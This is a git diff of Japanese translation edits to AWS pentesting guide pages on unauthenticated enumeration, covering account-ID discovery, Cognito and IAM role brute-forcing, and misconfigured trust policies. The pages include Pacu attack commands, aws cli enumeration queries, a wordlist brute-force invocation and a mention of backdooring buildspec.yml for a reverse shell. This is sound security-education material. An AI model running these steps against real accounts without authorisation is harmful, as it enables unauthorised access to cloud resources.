``` -### Privesc +### プライベートエスカレーション -次のページでは、**eventbridge schedulerの権限を悪用して特権を昇格させる方法**を確認できます: +次のページでは、**eventbridgeスケジューラーの権限を悪用して特権を昇格させる方法**を確認できます: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 909476b13..ac6a485b6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## AWS 認証情報の漏洩 -AWS アカウントへのアクセスや情報を取得する一般的な方法は、**漏洩を検索すること**です。**google dorks**を使用して漏洩を検索したり、**組織**や**組織の従業員**の**Github**や他のプラットフォームの**公開リポジトリ**をチェックしたり、**認証情報漏洩データベース**を検索したり、会社やそのクラウドインフラに関する情報を見つける可能性のある他の場所を探したりできます。\ +AWS アカウントへのアクセスや情報を取得する一般的な方法は、**漏洩を検索すること**です。**google dorks**を使用して漏洩を検索したり、**組織**の**公開リポジトリ**や**従業員**の**Github**や他のプラットフォームでの情報を確認したり、**認証情報漏洩データベース**を検索したり、会社やそのクラウドインフラに関する情報が見つかると思われる他の場所を探したりできます。\ いくつかの便利な**ツール**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -36,7 +36,7 @@ AWS には、インターネット全体または予想以上の多くの人々 ## クロスアカウント攻撃 -トークである [**隔離の破壊:クロスアカウント AWS 脆弱性**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、いくつかのサービスが**アカウント ID を指定しない AWS サービス**が許可されていたため、任意の AWS アカウントがそれらにアクセスできることが示されています。 +トークである [**隔離の破壊:クロスアカウント AWS 脆弱性**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、いくつかのサービスが**AWS アカウント ID を指定せずに**アクセスを許可していたため、任意の AWS アカウントがそれらにアクセスできることが示されています。 トーク中に、S3 バケットが**任意の AWS アカウント**の**cloudtrail**を**書き込むことを許可している**など、いくつかの例が示されています: @@ -45,7 +45,7 @@ AWS には、インターネット全体または予想以上の多くの人々 他に見つかった脆弱なサービス: - AWS Config -- Serverless リポジトリ +- Serverless repository ## ツール diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 3791097e6..cea6526f2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - アカウントの認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} @@ -16,11 +16,11 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` -You can [自動化するこのプロセスはこのツールで](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +このプロセスは[このツールを使って自動化できます](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py)。 ### OSINT -`.signin.aws.amazon.com` を含むURLを探してください。**組織に関連するエイリアス**を使用してください。 +**組織に関連する**エイリアスを持つ`.signin.aws.amazon.com`を含むURLを探します。 ### Marketplace @@ -28,9 +28,9 @@ You can [自動化するこのプロセスはこのツールで](https://github. ### Snapshots -- 公開EBSスナップショット (EC2 -> Snapshots -> Public Snapshots) -- RDS公開スナップショット (RDS -> Snapshots -> All Public Snapshots) -- 公開AMI (EC2 -> AMIs -> Public images) +- 公開EBSスナップショット(EC2 -> Snapshots -> Public Snapshots) +- RDS公開スナップショット(RDS -> Snapshots -> All Public Snapshots) +- 公開AMI(EC2 -> AMIs -> Public images) ### Errors diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index c6f2887cd..c28ac7184 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - API Gateway Unauthenticated Enum +# AWS - API Gateway 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} -### API Invoke bypass +### API 呼び出しバイパス -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)、Lambda Authorizersは**IAM構文**を使用してAPIエンドポイントを呼び出すための権限を与えるように構成できます。これは[**ドキュメントから**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)取られています: +[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)の講演によると、Lambda Authorizersは**IAM構文**を使用してAPIエンドポイントを呼び出す権限を与えるように構成できます。これは[**ドキュメントから**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)取られています: ```json { "Version": "2012-10-17", @@ -23,12 +23,12 @@ According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Auth いくつかの例: -- 各ユーザーに`/dashboard/user/{username}`へのアクセスを与えるためのルール`arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`は、例えば`/admin/dashboard/createAdmin`のような他のルートへのアクセスも与えてしまいます。 +- `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`のようなルールは、各ユーザーに`/dashboard/user/{username}`へのアクセスを与えるために使用されますが、例えば`/admin/dashboard/createAdmin`のような他のルートへのアクセスも与えてしまいます。 > [!WARNING] > **"\*"はスラッシュでの拡張を止めない**ことに注意してください。したがって、例えばapi-idで"\*"を使用すると、最終的な正規表現が有効である限り、「任意のステージ」や「任意のメソッド」を示す可能性もあります。\ > したがって、`arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> は、例えば`/prod/GET/dashboard/admin`へのテストステージへのポストリクエストを検証できます。 +> は、例えば`/prod/GET/dashboard/admin`へのパスに対してテストステージへのポストリクエストを検証できます。 アクセスを許可したいものを常に明確にし、与えられた権限で他のシナリオが可能かどうかを確認する必要があります。 @@ -36,7 +36,7 @@ According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Auth ### IAMポリシーインジェクション -同じ[**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)では、コードが**ユーザー入力**を使用して**IAMポリシーを生成**している場合、ワイルドカード(および"."や特定の文字列など)が**制限を回避する**目的で含まれる可能性があることが明らかにされています。 +同じ[**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)では、コードが**ユーザー入力**を使用して**IAMポリシーを生成**している場合、ワイルドカード(および"."や特定の文字列など)が含まれる可能性があり、**制限を回避する**ことを目的としていることが明らかにされています。 ### 公開URLテンプレート ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 0d5a23a36..76fa18243 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -12,11 +12,11 @@ ### buildspec.yml -**`buildspec.yml`** という名前のファイルを含むリポジトリに対する書き込みアクセスを侵害した場合、このファイルを**バックドア**することができ、これはCodeBuildプロジェクト内で実行される**コマンドを指定**し、秘密情報を流出させ、実行される内容を妨害し、さらに**CodeBuild IAMロールの資格情報**を侵害することができます。 +**`buildspec.yml`** という名前のファイルを含むリポジトリに対する書き込みアクセスを侵害した場合、このファイルを**バックドア**することができ、これはCodeBuildプロジェクト内で実行される**コマンドを指定**し、秘密情報を抽出し、実行される内容を妨害し、さらに**CodeBuild IAMロールの資格情報**を侵害することになります。 -**`buildspec.yml`** ファイルが存在しなくても、Codebuildが使用されていることを知っている場合(または別のCI/CDが使用されている場合)、実行される**正当なコードを修正する**ことで、例えばリバースシェルを取得することも可能です。 +**`buildspec.yml`** ファイルが存在しなくても、Codebuildが使用されていることを知っている場合(または別のCI/CDが使用されている場合)、実行される**正当なコードを変更する**ことで、例えばリバースシェルを取得することも可能です。 -関連情報については、Github Actionsを攻撃する方法に関するページを確認してください(これに類似しています): +関連情報については、Github Actionsを攻撃する方法に関するページを確認できます(これに似ています): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ @@ -28,6 +28,6 @@ ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -このGithub ActionsとAWSの新しい関係は、GithubからAWSを妥協させる別の方法を生み出します。Githubのコードは、IAMロールが付与されたCodeBuildプロジェクトで実行されます。 +このGithub ActionsとAWSの新しい関係は、GithubのコードがIAMロールが付与されたCodeBuildプロジェクトで実行されるため、GithubからAWSを侵害する別の方法を作ります。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index ff88d4c49..eb29c104c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## Unauthenticated Cognito -Cognitoは、開発者が**アプリのユーザーにAWSサービスへのアクセスを付与する**ことを可能にするAWSサービスです。開発者は、アプリ内の**認証されたユーザーにIAMロールを付与**し(潜在的に誰でもサインアップできる可能性があります)、**認証されていないユーザーにもIAMロールを付与**することができます。 +Cognitoは、開発者が**アプリユーザーにAWSサービスへのアクセスを付与する**ことを可能にするAWSサービスです。開発者は、アプリ内の**認証されたユーザー**に**IAMロールを付与**し(潜在的に誰でもサインアップできる可能性があります)、**認証されていないユーザー**にも**IAMロールを付与**することができます。 Cognitoに関する基本情報は以下を確認してください: @@ -14,30 +14,30 @@ Cognitoに関する基本情報は以下を確認してください: ### Identity Pool ID -アイデンティティプールは、**アイデンティティプールIDを知っているだけの認証されていないユーザーにIAMロールを付与**することができ(これは比較的一般的に**見つける**ことができます)、この情報を持つ攻撃者はその**IAMロールにアクセスし**、それを悪用しようとする可能性があります。\ -さらに、IAMロールはアイデンティティプールにアクセスする**認証されたユーザー**にも割り当てられる可能性があります。攻撃者が**ユーザーを登録**できるか、すでにアイデンティティプールで使用されている**アイデンティティプロバイダーにアクセス**できる場合、**認証されたユーザーに付与されるIAMロールにアクセス**し、その特権を悪用することができます。 +Identity Poolは、**Identity Pool IDを知っているだけの認証されていないユーザー**に**IAMロールを付与**することができ(これは比較的一般的に**見つける**ことができます)、この情報を持つ攻撃者はその**IAMロールにアクセス**し、悪用しようとする可能性があります。\ +さらに、IAMロールは、Identity Poolにアクセスする**認証されたユーザー**にも割り当てられる可能性があります。攻撃者が**ユーザーを登録**できるか、すでにIdentity Poolで使用されている**アイデンティティプロバイダーにアクセス**できる場合、**認証された**ユーザーに付与される**IAMロールにアクセス**し、その特権を悪用することができます。 [**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-identity-pools.md)。 ### User Pool ID -デフォルトでは、Cognitoは**新しいユーザーを登録する**ことを許可します。ユーザーを登録できることは、**基盤となるアプリケーション**や、Cognitoユーザープールをアイデンティティプロバイダーとして受け入れている**アイデンティティプールの認証されたIAMアクセスロール**への**アクセス**を提供する可能性があります。[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。 +デフォルトでは、Cognitoは**新しいユーザーを登録**することを許可します。ユーザーを登録できることは、**基盤となるアプリケーション**や、Cognito User Poolをアイデンティティプロバイダーとして受け入れている**Identity Poolの認証されたIAMアクセスロール**への**アクセス**を提供する可能性があります。[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。 ### Pacu modules for pentesting and enumeration -[Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSの悪用フレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、脆弱な構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく特権昇格も自動化します。 +[Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSの悪用フレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、脆弱な構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito__enum」と「cognito__attack」モジュールを含むようになりました。また、ユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく特権昇格も自動化します。 モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。 #### Usage -サンプルの`cognito__attack`の使用法は、特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです: +特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるためのサンプル`cognito__attack`の使用法: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します: +サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集することです: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 35bea6646..b867f7230 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,4 +1,4 @@ -# AWS - DocumentDB Unauthenticated Enum +# AWS - DocumentDB 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index a77151b64..f65a0affc 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -10,6 +10,6 @@ ../aws-services/aws-dynamodb-enum.md {{#endref}} -AWSへのアクセスを提供する以外に、すべてのAWSまたは一部の侵害された外部AWSアカウントへのアクセス、またはDynamoDBと通信するアプリケーションにSQLインジェクションがある場合を除いて、DynamoDBからAWSアカウントにアクセスする方法はわかりません。 +AWSまたは一部の侵害された外部AWSアカウントへのアクセスを提供すること、またはDynamoDBと通信するアプリケーションにSQLインジェクションがある場合を除いて、DynamoDBからAWSアカウントにアクセスする他のオプションはわかりません。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 7d639d8f2..2145c6fbd 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -もし誰でも復元可能なスナップショットを見つけた場合は、[AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)を確認して、スナップショットのダウンロードと略奪に関する指示を確認してください。 +誰でも復元可能なスナップショットを見つけた場合は、スナップショットのダウンロードと略奪に関する指示について[AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)を確認してください。 #### 公開URLテンプレート ```bash @@ -47,7 +47,7 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### パブリックIPを持つEC2インスタンスを列挙する +### パブリックIPを持つEC2インスタンスの列挙 ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 88a9e3229..c27ab9f3f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## ECR -詳細については、以下を確認してください: +詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-ecr-enum.md @@ -12,16 +12,16 @@ ### 公開レジストリリポジトリ(イメージ) -ECS Enum セクションで述べたように、公開レジストリは **誰でもアクセス可能** で、形式は **`public.ecr.aws//`** です。攻撃者が公開リポジトリのURLを見つけた場合、彼は **イメージをダウンロードし、メタデータやイメージの内容に敏感な情報を探すことができる**。 +ECS Enum セクションで述べたように、公開レジストリは **誰でもアクセス可能** で、形式は **`public.ecr.aws//`** です。攻撃者が公開リポジトリのURLを見つけた場合、彼は **イメージをダウンロードし、メタデータやイメージの内容に敏感な情報を探すことができる** 可能性があります。 ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` > [!WARNING] -> これは、レジストリポリシーまたはリポジトリポリシーが**「AWS": "*"**にアクセスを許可している**プライベートレジストリ**でも発生する可能性があります。AWSアカウントを持っている誰でも、そのリポジトリにアクセスできます。 +> これは、**プライベートレジストリ**でも発生する可能性があり、レジストリポリシーまたはリポジトリポリシーが**例えば `"AWS": "*"`** にアクセスを許可している場合です。AWSアカウントを持っている誰でも、そのリポジトリにアクセスできます。 ### プライベートリポジトリの列挙 -ツール[**skopeo**](https://github.com/containers/skopeo)と[**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md)を使用して、プライベートレジストリ内のアクセス可能なリポジトリをリストすることができます。 +ツール [**skopeo**](https://github.com/containers/skopeo) と [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) を使用して、プライベートレジストリ内のアクセス可能なリポジトリをリストすることができます。 ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 7e6e888c9..a9652d252 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -4,15 +4,15 @@ ## ECS -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### ECSサービスの公開アクセス可能なセキュリティグループまたはロードバランサー +### ECS サービスの公開アクセス可能なセキュリティグループまたはロードバランサー -**インターネットからの受信トラフィックを許可する(0.0.0.0/0 または ::/0)** 誤って構成されたセキュリティグループは、AWSリソースを攻撃にさらす可能性があります。 +**インターネットからの受信トラフィックを許可する(0.0.0.0/0 または ::/0)** 誤って構成されたセキュリティグループは、AWS リソースを攻撃にさらす可能性があります。 ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 505124f67..37449d9c0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -詳細については、次を確認してください: +詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -22,7 +22,7 @@ Beanstalkのウェブページの形式は**`https://-env.. ### 公開アクセス可能なロードバランサー -Elastic Beanstalk環境がロードバランサーを使用し、ロードバランサーが公開アクセス可能に構成されている場合、攻撃者は**ロードバランサーに直接リクエストを送信できます**。これは、公開アクセスを意図したウェブアプリケーションには問題ないかもしれませんが、プライベートアプリケーションや環境には問題となる可能性があります。 +Elastic Beanstalk環境がロードバランサーを使用し、ロードバランサーが公開アクセス可能に構成されている場合、攻撃者は**ロードバランサーに直接リクエストを送信することができます**。これは、公開アクセスを意図したウェブアプリケーションには問題ないかもしれませんが、プライベートアプリケーションや環境には問題となる可能性があります。 ### 公開アクセス可能なS3バケット diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index e64407cbb..f7cd3d289 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -7,7 +7,7 @@ ### ~~ロールのブルートフォース攻撃~~ > [!CAUTION] -> **この技術はもう機能しません**。ロールが存在するかどうかにかかわらず、常にこのエラーが返されます: +> **この技術はもう機能しません**。ロールが存在するかどうかにかかわらず、常にこのエラーが表示されます: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > @@ -15,7 +15,7 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -必要な権限なしに**ロールを引き受けようとすると**、AWSエラーメッセージがトリガーされます。たとえば、無許可の場合、AWSは次のように返すことがあります: +必要な権限なしに**ロールを引き受けようとすると**、AWSエラーメッセージが表示されます。たとえば、無許可の場合、AWSは次のように返すことがあります: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` @@ -23,16 +23,16 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: User: ar ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -興味深いことに、**既存のロールと存在しないロールを区別する**この方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストを使用することで、アカウント内に存在するロールを列挙することができ、固有の制限に直面することはありません。 +興味深いことに、**既存のロールと存在しないロールを区別する**この方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストがあれば、アカウント内に存在するロールを列挙することができ、固有の制限に直面することはありません。 この[スクリプトを使用して潜在的なプリンシパルを列挙](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum)することができます。 -### 信頼ポリシー: ブルートフォースクロスアカウントロールとユーザー +### 信頼ポリシー: クロスアカウントロールとユーザーのブルートフォース -**IAMロールの信頼ポリシーを構成または更新することは、そのロールを引き受けることが許可されているAWSリソースまたはサービスを定義し、一時的な資格情報を取得することを含みます**。ポリシー内で指定されたリソースが**存在する**場合、信頼ポリシーは**正常に**保存されます。しかし、リソースが**存在しない**場合、**エラーが生成され**、無効なプリンシパルが提供されたことを示します。 +**IAMロールの信頼ポリシーを構成または更新することは、そのロールを引き受けることが許可されているAWSリソースまたはサービスを定義することを含み、**一時的な資格情報を取得します。ポリシー内で指定されたリソースが**存在する**場合、信頼ポリシーは**正常に**保存されます。しかし、リソースが**存在しない**場合、**エラーが生成され**、無効なプリンシパルが提供されたことを示します。 > [!WARNING] -> そのリソースでは、クロスアカウントロールまたはユーザーを指定できることに注意してください: +> そのリソース内でクロスアカウントロールまたはユーザーを指定できることに注意してください: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` @@ -54,7 +54,7 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth ``` #### GUI -それは、**存在しないロールを使用した場合**に見つかる**エラー**です。ロールが**存在する**場合、ポリシーは**エラーなし**で**保存**されます。(エラーは更新用ですが、作成時にも機能します) +それは、**存在しないロール**を使用した場合に見つかる**エラー**です。ロールが**存在する**場合、ポリシーはエラーなしで**保存**されます。(エラーは更新用ですが、作成時にも機能します) ![](<../../../images/image (153).png>) @@ -91,19 +91,19 @@ aws iam create-role --role-name Test-Role --assume-role-policy-document file://a aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +このプロセスは[https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)を使って自動化できます。 - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +私たちの使用する[Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- 例で使用されている`admin`ロールは、pacuが列挙のために必要なポリシーを作成するために**あなたのアカウントで偽装されるロール**です。 ### Privesc -役割が不適切に構成されており、誰でもそれを引き受けることができる場合: +ロールが不適切に構成されており、誰でもそれを引き受けることができる場合: ```json { "Version": "2012-10-17", @@ -120,10 +120,10 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): ``` 攻撃者はそれを仮定することができます。 -## 第三者 OIDC フェデレーション +## サードパーティOIDCフェデレーション -あなたが **AWS** 内の **ロール** にアクセスしている **Github Actions ワークフロー** を読むことに成功したと想像してください。\ -この信頼は、次の **信頼ポリシー** を持つロールへのアクセスを与える可能性があります: +あなたが**AWS**内の**ロール**にアクセスしている**Github Actionsワークフロー**を読むことができたと想像してください。\ +この信頼は、次の**信頼ポリシー**を持つロールへのアクセスを与える可能性があります: ```json { "Version": "2012-10-17", @@ -143,16 +143,16 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): ] } ``` -この信頼ポリシーは正しいかもしれませんが、**より多くの条件がない**ことは信頼できない理由です。\ -これは、前のロールが**Github Actionsの誰でも**引き受けられるからです!条件には、組織名、リポジトリ名、環境、ブランチなどの他の要素も指定する必要があります... +この信頼ポリシーは正しいかもしれませんが、**より多くの条件が欠けている**ため、信頼しないべきです。\ +これは、前のロールが**Github Actionsの誰でも**引き受けることができるからです!条件には、組織名、リポジトリ名、環境、ブランチなどの他の要素も指定する必要があります... -別の潜在的な誤設定は、次のような**条件を追加する**ことです: +もう一つの潜在的な誤設定は、次のような**条件を追加する**ことです: ```json "StringLike": { "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -注意してください **ワイルドカード** (\*) **コロン** (:) の前に。**org_name1** のような組織を作成し、Github Action から **ロールを引き受ける** ことができます。 +**コロン** (:) の前の **ワイルドカード** (\*) 